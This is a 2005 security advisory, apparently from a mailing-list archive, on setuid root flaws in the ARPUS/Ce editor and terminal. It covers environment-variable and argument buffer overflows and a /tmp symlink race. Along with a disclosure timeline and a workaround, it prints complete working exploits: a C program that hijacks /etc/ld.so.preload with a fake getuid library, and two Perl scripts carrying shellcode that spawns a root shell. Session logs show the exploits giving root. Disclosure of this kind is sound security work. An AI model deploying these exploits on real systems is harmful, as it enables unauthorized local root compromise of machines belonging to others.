<<< Date Index >>>     <<< Thread Index >>>

DMA[2005-0501a] - 'ARPUS/Ce setuid buffer overflow and file overwrite'



as usual enjoy the typos!
DMA[2005-0501a] - 'ARPUS/Ce setuid buffer overflow and file overwrite'
Author: Kevin Finisterre
Vendor: http://www.swlink.net/~styma/ce.shtml, 
http://168.158.26.15/ce/ce/ce.html
Product: 'Ce/Ceterm'

References: 
http://www.digitalmunition.com/DMA[2005-0501a].txt

Description: 
Ce/Ceterm aka. ARPUS/Ce is an integrated ascii text editor and X based terminal 
emulator 
modeled after the editor and terminal emulator on Apollo Domain systems. The ce 
tool is a 
robust and extensible programmer's editor. The ceterm tool is meant to be a 
replacement for 
vendor-supplied X-based terminal window programs such as IBM's "aixterm", HP's 
"hpterm", 
DEC's "decterm", and Sun's "Shell Tool". 

In the past machines other than SunOS and Apollo had to have ceterm installed 
as setuid root. 
Other terminal emulators like xterm also had this requirement because you had 
to be root in 
order to open a pseudo terminal. Users that did not have a setuid install of 
ceterm could 
recieve messages like "Can't unlock pty /dev/ptym/ptyxx (Not owner)" when 
attempting to start 
the program. Running "chown root ce; chmod 4755 ce" will fix this problem 
however it can also 
potentially expose the machine running ceterm to several vulnerabilities which 
will be 
outlined below. 

Please note that as of release 2.6, the major releases of ce/ceterm do not need 
to be setuid. 
Improvements in pseudo-terminal system code have removed this requirement. Not 
being setuid
root prohibits ceterm from updating UTMP on startup which means the session 
will not show up 
in the who command. The who command is a poor excuse for running setuid'ed so 
it is recommended 
that the program not be setuid root. As of the Mar. 25, 2005 the option to 
install as setuid
has been removed from the ARPUS/Ce install package. 

When Ce starts, it checks to see if it is a 'ceterm' (as opposed to 'ce'). If 
not, it drops the 
setuid immediately. If it is a ceterm, it drops the setuid as soon as the 
pseudo terminal is opened.
Unfortunately the dropping of privs is not handled properly so an attacker may 
have several 
opportunities to abuse the application.  

Several of the getenv() calls made by ARPUS/ce are vulnerable to buffer 
overflows. Supplying 
either a long XAPPLRESLANGPATH or XAPPLRESDIR variable will result in a 
segfault. 

XrmMergeDatabases(0x81061b8, 0xbfff8e98, 0, 0, 0)                           = 
0xbfff8e98
getenv("XAPPLRESLANGPATH")                                                  = 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
sprintf("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "%s/%s", 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...,
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 12674
XrmGetFileDatabase(0xbfff7e60, 0x80aeb05, 0xbfffdb1e, 0xbfff9330, 0)        = 0
getenv("XAPPLRESDIR")                                                       = 
NULL
XResourceManagerString(0x8105c28, 0x80aeb05, 0xbfffdb1e, 0xbfff9330, 0)     = 
0x8106d80
XrmGetStringDatabase(0x8106d80, 0x80aeb05, 0xbfffdb1e, 0xbfff9330, 0)       = 
0x810a878
XrmMergeDatabases(0x810a878, 0x41414141, 0xbfffdb1e, 0xbfff9330, 0 <unfinished 
...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

getenv("XAPPLRESLANGPATH")                                                  = 
NULL
getenv("XAPPLRESDIR")                                                       = 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
sprintf("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "%s/%s", 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...,
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 12674
XrmGetFileDatabase(0xbfff7e60, 0x80aeb05, 0xbfffd8ca, 0xbfff9330, 0)        = 0
XResourceManagerString(0x8105c28, 0x80aeb05, 0xbfffd8ca, 0xbfff9330, 0)     = 
0x8106d80
XrmGetStringDatabase(0x8106d80, 0x80aeb05, 0xbfffd8ca, 0xbfff9330, 0)       = 
0x810a878
XrmMergeDatabases(0x810a878, 0x41414141, 0xbfffd8ca, 0xbfff9330, 0 <unfinished 
...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

In gdb we can see that we have definately overwritten the eip address. 

gdb) r
Starting program: /usr/bin/ce

Program received signal SIGSEGV, Segmentation fault.
0x4005d485 in XrmCombineDatabase () from /usr/X11R6/lib/libX11.so.6
(gdb) bt
#0  0x4005d485 in XrmCombineDatabase () from /usr/X11R6/lib/libX11.so.6
#1  0x4005d5ef in XrmMergeDatabases () from /usr/X11R6/lib/libX11.so.6
#2  0x080666c7 in GetUsersDatabase ()
#3  0x41414141 in ?? ()
#4  0x41414141 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()
#7  0x41414141 in ?? ()
#8  0x41414141 in ?? ()
#9  0x41414141 in ?? ()
#10 0x41414141 in ?? ()
#11 0x41414141 in ?? ()

Supplying an overly long command line argument to ARPUS/ce will also cause the 
program to segfault. 

(gdb) r  `perl -e 'print "A" x 9000'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/bin/ce `perl -e 'print "A" x 9000'`

Program received signal SIGSEGV, Segmentation fault.
0x080768e2 in normalize_file_name ()
(gdb) bt
#0  0x080768e2 in normalize_file_name ()
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()

The final issue that I encountered was caused by the logging facilities of 
ARPUS/ce. Upon exiting 
the program attempts to write to /tmp/ce_edit_log. After writing to this file 
the program executes
a chmod 777 on the file. If you can catch the program off gaurd you can cause 
the file to be 
written and chmoded as root. 

write(2, "ce: cannot connect to X server :"..., 47ce: cannot connect to X 
server :0.0 (Success)) = 47
open("/tmp/ce_edit_log", O_WRONLY|O_APPEND|O_CREAT, 0666) = 3
...
chmod("/tmp/ce_edit_log", 0777)         = 0

Under normal circumstances the log files are written with the ownership of the 
current user. 
kfinisterre@kfinisterre01:~$ ce a a
kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
-rwxrwxrwx  1 kfinisterre kfinisterre 6594 Apr 21 16:35 /tmp/ce_edit_log

As stated above however, you can trick ARPUS/ce into writing the log as root. 
kfinisterre@kfinisterre01:~$ export DISPLAY=yamom
kfinisterre@kfinisterre01:~$ ce a a
ce: cannot connect to X server yamom (Success)
kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
-rwxrwxrwx  1 root kfinisterre 107 Apr 21 16:36 /tmp/ce_edit_log

Creating /tmp/ce_edit_log as root really does not gain you much, however 
coupled with a symlink 
it can yield local root. 

kfinisterre@kfinisterre01:/tmp$ ln -s /etc/yamom /tmp/ce_edit_log
kfinisterre@kfinisterre01:/tmp$ ce
Xlib: connection to "yamom" refused by server
Xlib: No protocol specified
ce: cannot connect to X server yamom (Success)
kfinisterre@kfinisterre01:/tmp$ ls -al /etc/yamom
-rwxrwxrwx  1 root kfinisterre 106 Apr 21 13:26 /etc/yamom

The following line will be added to which ever file you chose to symlink to:
<date> PID(18608) UID(1000) 'ce: cannot connect to X server yamom (Success)', 
in file:

Since the file should now be mode 777 you can simply edit the file to suit your 
own needs. 
/etc/ld.so.preload is an easy target, but be careful!

Below are example sessions showing the exploits in process. 

kfinisterre@kfinisterre01:~$ export DISPLAY=localhost:0.0
kfinisterre@kfinisterre01:~$ ./ce_ex.pl
sh-2.05b# id
uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)

kfinisterre@kfinisterre01:~$ ./ce_ex2.pl
sh-2.05b# id
uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)

kfinisterre@kfinisterre01:~$ unset DISPLAY
kfinisterre@kfinisterre01:~$ cc -o ex_ceterm ex_ceterm.c
kfinisterre@kfinisterre01:~$ ./ex_ceterm
/usr/bin/ce: cannot connect to X server dmr0x! (Success)
kfinisterre@kfinisterre01:~$ cat /etc/ld.so.preload
/tmp/getuid.so
kfinisterre@kfinisterre01:~$ id
uid=0(root) gid=1000(kfinisterre) euid=1000(kfinisterre) 
groups=1000(kfinisterre)
kfinisterre@kfinisterre01:~$ su
kfinisterre01:/home/kfinisterre# rm /etc/ld.so.preload
kfinisterre01:/home/kfinisterre# id
uid=0(root) gid=0(root) groups=0(root)

Work Around: 
The setuid can be removed and the program will continue to operate. This is 
true of the 2.5.4 
release and beyond. Please note that removing the setuid will prevent utmp from 
being updated, 
but this is not a significant issue. Also the current distribution of 2.6 does 
not setuid the 
program. 

Timeline associated with this bug: 

04/20/2005 - attempt to contact Robert E. Styma via email
04/21/2005 - initial response
04/22/2005 - information hand off by KF
04/26/2005 - Robert suggests some code changes
04/29/2005 - OK to disclose from Robert 
04/30/2005 - Public disclosure

Robert E. Styma 'Principal Engineer (DMTS) for Lucent Technologies' was 
extremely cooperative 
and responsive with regard to the above mentioned security issues. Actions to 
correct these
issues were promptly put in place. 

-KF


/*
 * Copyright Kevin Finisterre - ripped from my perl_ex.c
 * 
 * ** DISCLAIMER ** I am in no way responsible for your stupidity.
 * ** DISCLAIMER ** I am in no way liable for any damages caused by compilation 
and or execution of this code.
 *
 * ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
 * ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box 
(or someone elses).
 * ** WARNING ** have a boot disk ready incase some thing goes wrong.
 *
 * Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
 *
 * kfinisterre@kfinisterre01:~$ ls -al /usr/bin/ce 
 * -rwsr-xr-x  1 root bin 630010 Sep 27  2004 /usr/bin/ce
 *
 * Tested against 
http://168.158.26.15/ce/ce-0260-intel-pentium-linux-fedoracore3.tar.gz
 *  and ce-0254-intel-pentium-linux-redhat73.tar.Z
 *
 * (16:34:04) kfin80: this program is tricky 
 * (16:34:14) kfin80: it drops privs under certain conditions 
 * (16:34:20) kfin80: it was fucking me up for a second. =] 
 * (16:36:02) kfin80: kfinisterre@kfinisterre01:~$ ce a a 
 * (16:36:13) kfin80: kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
 * -rwxrwxrwx  1 kfinisterre kfinisterre 6594 Apr 21 16:35 /tmp/ce_edit_log
 * (16:36:16) kfin80: owned by ME 
 * (16:36:36) kfin80: kfinisterre@kfinisterre01:~$ export DISPLAY=yamom
 * kfinisterre@kfinisterre01:~$ rm /tmp/ce_edit_log
 * kfinisterre@kfinisterre01:~$ ce a a
 * ce: cannot connect to X server yamom (Success)
 * kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
 * -rwxrwxrwx  1 root kfinisterre 107 Apr 21 16:36 /tmp/ce_edit_log
 * (16:36:38) d4yj4y: hmmmmmm
 * (16:36:38) kfin80: owned by root 
 * (16:36:49) kfin80: the export of a faulty display makes it NOT drop privs. 
 *
 */


#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>

int main(int *argc, char **argv)
{

        FILE *getuid;
        if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        
        fprintf(getuid, "int getuid(){return 0;}\n" );
        fclose(getuid);

        system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c 
-lc");

        symlink(PRELOAD,"/tmp/ce_edit_log");
        umask(001); // I'm rw-rw-rw james bitch!

        putenv("DISPLAY=dmr0x!");  // GIMME ROOT BITCH!
        system("/usr/bin/ce");
        FILE *ld_so_preload;

        char preload[] = {
                "/tmp/getuid.so\n"
        };

        if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
        fclose(ld_so_preload);
}

#!/usr/bin/perl -w
#
# Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
#
# Copyright Kevin Finisterre
# kfinisterre@threat:/tmp$ ./ce_ex.pl
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre) 
# groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),1000(kfinisterre)
#

# 57 bytes long
$sc  = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";

$buf = "\x90" x (4120-569);
$buf .= $sc;
$buf .= (pack("l",(0xbfffa187)) x2);

$ENV{"XAPPLRESLANGPATH"} = $buf;

exec("/usr/bin/ce-0260-fc3");  # Attention Skript kiddies... change this

#!/usr/bin/perl -w
#
# Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
#
# Copyright Kevin Finisterre
# kfinisterre@threat:/tmp$ ./ce_ex.pl
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre) 
# groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),1000(kfinisterre)
#

# 57 bytes long
$sc  = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";

$buf = "\x90" x (4120-569);
$buf .= $sc;
$buf .= (pack("l",(0xbfffa187)) x2);

$ENV{"XAPPLRESDIR"} = $buf;

exec("/usr/bin/ce-0260-fc3");  # Change this...